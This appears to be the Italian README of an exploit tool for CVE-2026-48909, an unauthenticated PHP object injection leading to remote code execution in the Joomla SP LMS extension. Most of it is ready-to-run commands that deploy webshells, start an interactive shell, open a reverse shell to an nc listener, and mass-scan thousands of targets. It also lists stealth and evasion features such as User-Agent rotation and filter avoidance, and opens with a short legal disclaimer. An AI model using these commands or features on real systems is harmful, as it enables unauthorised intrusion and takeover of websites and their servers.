[!IMPORTANT]
Uso autorizzato esclusivamente. Questo strumento è destinato a ricerca sulla sicurezza, formazione e test su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore declina ogni responsabilità per un uso improprio.
Indice
Panoramica
CVE-2026-48909 è una iniezione di oggetti PHP non autenticata critica nell'estensione Joomla SP LMS. Questo strumento implementa l'intera catena di attacco per consentire ai professionisti della sicurezza di convalidare l'impatto in ambienti di laboratorio o autorizzati.
Copre rilevamento, scoperta di percorsi, consegna del payload, post-sfruttamento interattivo (dove consentito), valutazione di massa e pulizia opzionale.
Dettagli della Vulnerabilità
| Attributo | Valore |
|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Critical) |
| Vettore d'Attacco | Rete — non autenticato |
| Impatto | Esecuzione Remota di Codice |
| Prodotto Affetto | Joomla SP LMS |
| Versioni Affette | 1.0.0 – 4.1.3 |
| Versione Corretta | SP LMS 4.1.4+ |
| Catena Gadget | Richiede Joomla < 5.2.2 |
Matrice di Compatibilità
| Componente | Versione | RCE |
|---|
| SP LMS | < 4.1.4 | Vulnerabile |
| SP LMS | ≥ 4.1.4 | Corretto |
| Joomla | < 5.2.2 | Catena gadget utilizzabile |
| Joomla | ≥ 5.2.2 | Catena gadget corretta |
Caratteristiche
Core
| Capacità | Descrizione |
|---|
| Exploit non autenticato | Nessuna credenziale richiesta |
| Payload multipli | 7 varianti di webshell/esecuzione |
| Shell interattiva | Sessione con cronologia comandi dopo il deploy |
| Scoperta percorso | Sondaggio automatico del percorso scrivibile |
| Pulizia | Rimuovi webshell distribuita dopo i test |
Valutazione & Operazioni
| Capacità | Descrizione |
|---|
| Scansione di massa | Liste di target multi-thread (1000+) |
| Supporto proxy | HTTP/SOCKS (Burp, ZAP, ecc.) |
| Reverse shell | Payload basati su listener |
| Modalità stealth | Canali di comando orientati a Header/POST |
| Randomizzazione | Nomi shell UUID, rotazione User-Agent |
| Reportistica | Esporta come JSON, HTML o CSV |
| Assistenza al rilevamento | Controlli versione Joomla, --check-only, --safe-mode |
Note di Evasione
- Evita i caratteri bloccati dal filtro
cmd di Joomla dove possibile
- Percorso di scrittura PHP codificato in hex per ridurre problemi di padding base64 / barre
- Ritardi configurabili e rotazione degli User-Agent
- Logica di retry su più candidati di iniezione/percorso
Installazione
Prerequisiti
- Python 3.6+
pip
- Raggiungibilità di rete al/i target sotto test
Configurazione
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
Dipendenze
requests>=2.31.0
urllib3>=2.0.0
argparse è incluso nella libreria standard di Python; non necessita di installazione tramite pip.
Avvio Rapido
Sostituisci https://target.example con un target di laboratorio o autorizzato esclusivamente.
Singolo target — scopri percorso + shell interattiva
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Controlli sicuri (nessuno sfruttamento)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Scansione di massa
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
Reverse shell (laboratorio autorizzato)
# Listener
nc -lvnp 4444
# Exploit host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
Guida all'Uso
Scoperta del percorso
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
Percorso scrivibile noto
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
Sessione interattiva
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Comando singolo
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Payload stealth + interattivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
Proxy (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
Pulizia
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
Riferimento Comandi
Target
| Argomento | Descrizione |
|---|
target | URL singolo target |
--targets, -T FILE | File di target (un URL per riga) |
--path PATH | Percorso assoluto sul server per la webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nome file webshell (default: x.php) |
Rete
| Argomento | Descrizione |
|---|
--timeout SECONDS | Timeout richiesta (default: 15) |
--insecure | Salta verifica certificato TLS |
--proxy URL | es. http://127.0.0.1:8080 |
--random-ua | Ruota User-Agent (abilitato per default) |
--delay SECONDS | Ritardo tra le richieste |
Reverse shell
| Argomento | Descrizione |
|---|
--reverse-host HOST | Host listener |
--reverse-port PORT | Porta listener |
Modalità
| Argomento | Descrizione |
|---|
--interactive, -i | Shell interattiva dopo il deploy |
--check-only | Solo controllo vulnerabilità |
--safe-mode | Test non distruttivi |
--find-path | Scopri automaticamente percorso scrivibile |
--cmd COMMAND | Esegui un comando ed esci |
--cleanup PATH | Rimuovi webshell al percorso |
--cleanup-after | Pulizia dopo lo sfruttamento |
Scansione di massa / report